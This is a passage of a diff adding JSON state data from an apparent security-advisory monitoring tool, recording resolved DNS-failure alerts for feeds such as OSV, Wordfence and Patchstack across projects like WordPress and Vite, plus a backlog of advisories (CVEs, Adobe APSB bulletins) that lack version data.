+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "symfony",
+ "display_name": "Symfony",
+ "source_name": "OSV Symfony",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "symfony::OSV Symfony::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 6.981
+ }
+ },
+ {
+ "alert_id": "traefik::OSV Traefik",
+ "system_id": "traefik",
+ "display_name": "Traefik",
+ "source_name": "OSV Traefik",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "traefik",
+ "display_name": "Traefik",
+ "source_name": "OSV Traefik",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "traefik::OSV Traefik::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 8.693
+ }
+ },
+ {
+ "alert_id": "undici::OSV Undici",
+ "system_id": "undici",
+ "display_name": "Undici",
+ "source_name": "OSV Undici",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "undici",
+ "display_name": "Undici",
+ "source_name": "OSV Undici",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "undici::OSV Undici::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 5.174
+ }
+ },
+ {
+ "alert_id": "vite::OSV Vite",
+ "system_id": "vite",
+ "display_name": "Vite",
+ "source_name": "OSV Vite",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "vite",
+ "display_name": "Vite",
+ "source_name": "OSV Vite",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "vite::OSV Vite::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 5.23
+ }
+ },
+ {
+ "alert_id": "vue::OSV Vue",
+ "system_id": "vue",
+ "display_name": "Vue",
+ "source_name": "OSV Vue",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "vue",
+ "display_name": "Vue",
+ "source_name": "OSV Vue",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "vue::OSV Vue::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 5.225
+ }
+ },
+ {
+ "alert_id": "webpack::OSV webpack",
+ "system_id": "webpack",
+ "display_name": "webpack",
+ "source_name": "OSV webpack",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "webpack",
+ "display_name": "webpack",
+ "source_name": "OSV webpack",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "webpack::OSV webpack::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 5.225
+ }
+ },
+ {
+ "alert_id": "werkzeug::OSV Werkzeug",
+ "system_id": "werkzeug",
+ "display_name": "Werkzeug",
+ "source_name": "OSV Werkzeug",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "werkzeug",
+ "display_name": "Werkzeug",
+ "source_name": "OSV Werkzeug",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "werkzeug::OSV Werkzeug::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 7.016
+ }
+ },
+ {
+ "alert_id": "woocommerce::GitHub WooCommerce Advisories",
+ "system_id": "woocommerce",
+ "display_name": "WooCommerce",
+ "source_name": "GitHub WooCommerce Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "woocommerce",
+ "display_name": "WooCommerce",
+ "source_name": "GitHub WooCommerce Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /woocommerce/woocommerce/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://github.com/woocommerce/woocommerce/security/advisories",
+ "summary": "woocommerce::GitHub WooCommerce Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /woocommerce/woocommerce/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 3.463
+ }
+ },
+ {
+ "alert_id": "woocommerce::OSV WooCommerce",
+ "system_id": "woocommerce",
+ "display_name": "WooCommerce",
+ "source_name": "OSV WooCommerce",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "woocommerce",
+ "display_name": "WooCommerce",
+ "source_name": "OSV WooCommerce",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "woocommerce::OSV WooCommerce::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 3.463
+ }
+ },
+ {
+ "alert_id": "woocommerce::Patchstack Database",
+ "system_id": "woocommerce",
+ "display_name": "WooCommerce",
+ "source_name": "Patchstack Database",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "woocommerce",
+ "display_name": "WooCommerce",
+ "source_name": "Patchstack Database",
+ "source_kind": "html-links",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='patchstack.com', port=443): Max retries exceeded with url: /database/ (Caused by NameResolutionError(\"HTTPSConnection(host='patchstack.com', port=443): Failed to resolve 'patchstack.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://patchstack.com/database/",
+ "summary": "woocommerce::Patchstack Database::network::HTTPSConnectionPool(host='patchstack.com', port=443): Max retries exceeded with url: /database/ (Caused by NameResolutionError(\"HTTPSConnection(host='patchstack.com', port=443): Failed to resolve 'patchstack.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 3.481
+ }
+ },
+ {
+ "alert_id": "woocommerce::Woo Developer Advisories",
+ "system_id": "woocommerce",
+ "display_name": "WooCommerce",
+ "source_name": "Woo Developer Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "woocommerce",
+ "display_name": "WooCommerce",
+ "source_name": "Woo Developer Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='developer.woocommerce.com', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='developer.woocommerce.com', port=443): Failed to resolve 'developer.woocommerce.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://developer.woocommerce.com/",
+ "summary": "woocommerce::Woo Developer Advisories::network::HTTPSConnectionPool(host='developer.woocommerce.com', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='developer.woocommerce.com', port=443): Failed to resolve 'developer.woocommerce.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 3.481
+ }
+ },
+ {
+ "alert_id": "woocommerce::Wordfence Vulnerability Database",
+ "system_id": "woocommerce",
+ "display_name": "WooCommerce",
+ "source_name": "Wordfence Vulnerability Database",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "woocommerce",
+ "display_name": "WooCommerce",
+ "source_name": "Wordfence Vulnerability Database",
+ "source_kind": "html-links",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='www.wordfence.com', port=443): Max retries exceeded with url: /threat-intel/vulnerabilities/wordpress-plugins/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.wordfence.com', port=443): Failed to resolve 'www.wordfence.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/",
+ "summary": "woocommerce::Wordfence Vulnerability Database::network::HTTPSConnectionPool(host='www.wordfence.com', port=443): Max retries exceeded with url: /threat-intel/vulnerabilities/wordpress-plugins/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.wordfence.com', port=443): Failed to resolve 'www.wordfence.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 3.411
+ }
+ },
+ {
+ "alert_id": "wordpress::Patchstack Database",
+ "system_id": "wordpress",
+ "display_name": "WordPress",
+ "source_name": "Patchstack Database",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "wordpress",
+ "display_name": "WordPress",
+ "source_name": "Patchstack Database",
+ "source_kind": "html-links",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='patchstack.com', port=443): Max retries exceeded with url: /database/ (Caused by NameResolutionError(\"HTTPSConnection(host='patchstack.com', port=443): Failed to resolve 'patchstack.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://patchstack.com/database/",
+ "summary": "wordpress::Patchstack Database::network::HTTPSConnectionPool(host='patchstack.com', port=443): Max retries exceeded with url: /database/ (Caused by NameResolutionError(\"HTTPSConnection(host='patchstack.com', port=443): Failed to resolve 'patchstack.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 1.736
+ }
+ },
+ {
+ "alert_id": "wordpress::PortSwigger Research",
+ "system_id": "wordpress",
+ "display_name": "WordPress",
+ "source_name": "PortSwigger Research",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "wordpress",
+ "display_name": "WordPress",
+ "source_name": "PortSwigger Research",
+ "source_kind": "html-links",
+ "source_bucket": "research_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='portswigger.net', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='portswigger.net', port=443): Failed to resolve 'portswigger.net' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://portswigger.net/research",
+ "summary": "wordpress::PortSwigger Research::network::HTTPSConnectionPool(host='portswigger.net', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='portswigger.net', port=443): Failed to resolve 'portswigger.net' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 1.669
+ }
+ },
+ {
+ "alert_id": "wordpress::WPScan Vulnerability Database",
+ "system_id": "wordpress",
+ "display_name": "WordPress",
+ "source_name": "WPScan Vulnerability Database",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "wordpress",
+ "display_name": "WordPress",
+ "source_name": "WPScan Vulnerability Database",
+ "source_kind": "html-links",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='wpscan.com', port=443): Max retries exceeded with url: /blog/ (Caused by NameResolutionError(\"HTTPSConnection(host='wpscan.com', port=443): Failed to resolve 'wpscan.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://wpscan.com/blog/",
+ "summary": "wordpress::WPScan Vulnerability Database::network::HTTPSConnectionPool(host='wpscan.com', port=443): Max retries exceeded with url: /blog/ (Caused by NameResolutionError(\"HTTPSConnection(host='wpscan.com', port=443): Failed to resolve 'wpscan.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 1.702
+ }
+ },
+ {
+ "alert_id": "wordpress::WordPress Security News RSS",
+ "system_id": "wordpress",
+ "display_name": "WordPress",
+ "source_name": "WordPress Security News RSS",
+ "source_kind": "rss-feed",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "wordpress",
+ "display_name": "WordPress",
+ "source_name": "WordPress Security News RSS",
+ "source_kind": "rss-feed",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='wordpress.org', port=443): Max retries exceeded with url: /news/category/security/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='wordpress.org', port=443): Failed to resolve 'wordpress.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://wordpress.org/news/category/security/feed/",
+ "summary": "wordpress::WordPress Security News RSS::network::HTTPSConnectionPool(host='wordpress.org', port=443): Max retries exceeded with url: /news/category/security/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='wordpress.org', port=443): Failed to resolve 'wordpress.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 1.728
+ }
+ },
+ {
+ "alert_id": "wordpress::Wordfence Vulnerability Database",
+ "system_id": "wordpress",
+ "display_name": "WordPress",
+ "source_name": "Wordfence Vulnerability Database",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "wordpress",
+ "display_name": "WordPress",
+ "source_name": "Wordfence Vulnerability Database",
+ "source_kind": "html-links",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='www.wordfence.com', port=443): Max retries exceeded with url: /threat-intel/vulnerabilities/wordpress-plugins/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.wordfence.com', port=443): Failed to resolve 'www.wordfence.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/",
+ "summary": "wordpress::Wordfence Vulnerability Database::network::HTTPSConnectionPool(host='www.wordfence.com', port=443): Max retries exceeded with url: /threat-intel/vulnerabilities/wordpress-plugins/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.wordfence.com', port=443): Failed to resolve 'www.wordfence.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 1.672
+ }
+ }
+ ],
+ "version_backlog": {
+ "generated_at": "2026-03-27T09:31:00+00:00",
+ "source_gap_entities": [
+ {
+ "entity_id": "adminer",
+ "display_name": "Adminer",
+ "root_system_id": "adminer",
+ "entity_type": "system",
+ "latest_version": "",
+ "repo_url": "",
+ "package_registry": "",
+ "marketplace_url": ""
+ },
+ {
+ "entity_id": "adobe-commerce",
+ "display_name": "Adobe Commerce",
+ "root_system_id": "adobe-commerce",
+ "entity_type": "system",
+ "latest_version": "",
+ "repo_url": "",
+ "package_registry": "",
+ "marketplace_url": ""
+ },
+ {
+ "entity_id": "aspnet-core",
+ "display_name": "ASP.NET Core",
+ "root_system_id": "aspnet-core",
+ "entity_type": "system",
+ "latest_version": "",
+ "repo_url": "",
+ "package_registry": "",
+ "marketplace_url": ""
+ },
+ {
+ "entity_id": "express",
+ "display_name": "Express",
+ "root_system_id": "express",
+ "entity_type": "system",
+ "latest_version": "",
+ "repo_url": "",
+ "package_registry": "",
+ "marketplace_url": ""
+ },
+ {
+ "entity_id": "gitea",
+ "display_name": "Gitea",
+ "root_system_id": "gitea",
+ "entity_type": "system",
+ "latest_version": "",
+ "repo_url": "",
+ "package_registry": "",
+ "marketplace_url": ""
+ },
+ {
+ "entity_id": "grafana",
+ "display_name": "Grafana",
+ "root_system_id": "grafana",
+ "entity_type": "system",
+ "latest_version": "",
+ "repo_url": "",
+ "package_registry": "",
+ "marketplace_url": ""
+ },
+ {
+ "entity_id": "jenkins",
+ "display_name": "Jenkins",
+ "root_system_id": "jenkins",
+ "entity_type": "system",
+ "latest_version": "",
+ "repo_url": "",
+ "package_registry": "",
+ "marketplace_url": ""
+ },
+ {
+ "entity_id": "kibana",
+ "display_name": "Kibana",
+ "root_system_id": "kibana",
+ "entity_type": "system",
+ "latest_version": "",
+ "repo_url": "",
+ "package_registry": "",
+ "marketplace_url": ""
+ },
+ {
+ "entity_id": "medusa",
+ "display_name": "Medusa",
+ "root_system_id": "medusa",
+ "entity_type": "system",
+ "latest_version": "",
+ "repo_url": "",
+ "package_registry": "",
+ "marketplace_url": ""
+ },
+ {
+ "entity_id": "moodle",
+ "display_name": "Moodle",
+ "root_system_id": "moodle",
+ "entity_type": "system",
+ "latest_version": "",
+ "repo_url": "",
+ "package_registry": "",
+ "marketplace_url": ""
+ },
+ {
+ "entity_id": "nestjs",
+ "display_name": "NestJS",
+ "root_system_id": "nestjs",
+ "entity_type": "system",
+ "latest_version": "",
+ "repo_url": "",
+ "package_registry": "",
+ "marketplace_url": ""
+ },
+ {
+ "entity_id": "nginx",
+ "display_name": "Nginx",
+ "root_system_id": "nginx",
+ "entity_type": "system",
+ "latest_version": "",
+ "repo_url": "",
+ "package_registry": "",
+ "marketplace_url": ""
+ },
+ {
+ "entity_id": "nodejs",
+ "display_name": "Node.js",
+ "root_system_id": "nodejs",
+ "entity_type": "system",
+ "latest_version": "",
+ "repo_url": "",
+ "package_registry": "",
+ "marketplace_url": ""
+ },
+ {
+ "entity_id": "spring-framework",
+ "display_name": "Spring Framework",
+ "root_system_id": "spring-framework",
+ "entity_type": "system",
+ "latest_version": "",
+ "repo_url": "",
+ "package_registry": "",
+ "marketplace_url": ""
+ },
+ {
+ "entity_id": "webpack",
+ "display_name": "webpack",
+ "root_system_id": "webpack",
+ "entity_type": "system",
+ "latest_version": "",
+ "repo_url": "",
+ "package_registry": "",
+ "marketplace_url": ""
+ }
+ ],
+ "unresolved_advisories": [
+ {
+ "canonical_id": "adminer--CVE-2026-25878",
+ "system_id": "adminer",
+ "title": "CVE-2026-25878",
+ "official_source_url": "https://github.com/FriendsOfShopware/FroshPlatformAdminer/commit/c4dd6c3462af178b3a7d146d3c651c2c253e902b",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adminer--CVE-2026-25892",
+ "system_id": "adminer",
+ "title": "CVE-2026-25892",
+ "official_source_url": "https://github.com/vrana/adminer/commit/21d3a3150388677b18647d68aec93b7850e457d3",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--047932676d",
+ "system_id": "adobe-commerce",
+ "title": "APSB26-05 \u00a0: Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb26-05.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--0a62931b31",
+ "system_id": "adobe-commerce",
+ "title": "APSB21-86 \u00a0Security\u202fupdates available\u202ffor Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb21-86.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--0eb3765231",
+ "system_id": "adobe-commerce",
+ "title": "APSB20-22 \u00a0Security\u202fupdates available\u202ffor Magento",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb20-22.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--1040fafca2",
+ "system_id": "adobe-commerce",
+ "title": "APSB20-41 \u00a0Security\u202fupdates available\u202ffor Magento",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb20-41.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--1255668bf0",
+ "system_id": "adobe-commerce",
+ "title": "APSB24-61 \u00a0: Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb24-61.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--12ae93f161",
+ "system_id": "adobe-commerce",
+ "title": "APSB25-88 : Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb25-88.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--3f204ca99f",
+ "system_id": "adobe-commerce",
+ "title": "APSB22-38\u00a0 :\u00a0Security update available for Adobe\u00a0Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-38.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--4db71027f6",
+ "system_id": "adobe-commerce",
+ "title": "APSB23-42 \u00a0: Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-42.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--5451447fe7",
+ "system_id": "adobe-commerce",
+ "title": "APSB21-30 \u00a0Security\u202fupdates available\u202ffor Magento",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb21-30.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--54dc24517c",
+ "system_id": "adobe-commerce",
+ "title": "APSB25-26\u00a0 : Security update available for Adobe\u00a0Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb25-26.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--5cb7420cf3",
+ "system_id": "adobe-commerce",
+ "title": "Back to top",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--8c1e29399c",
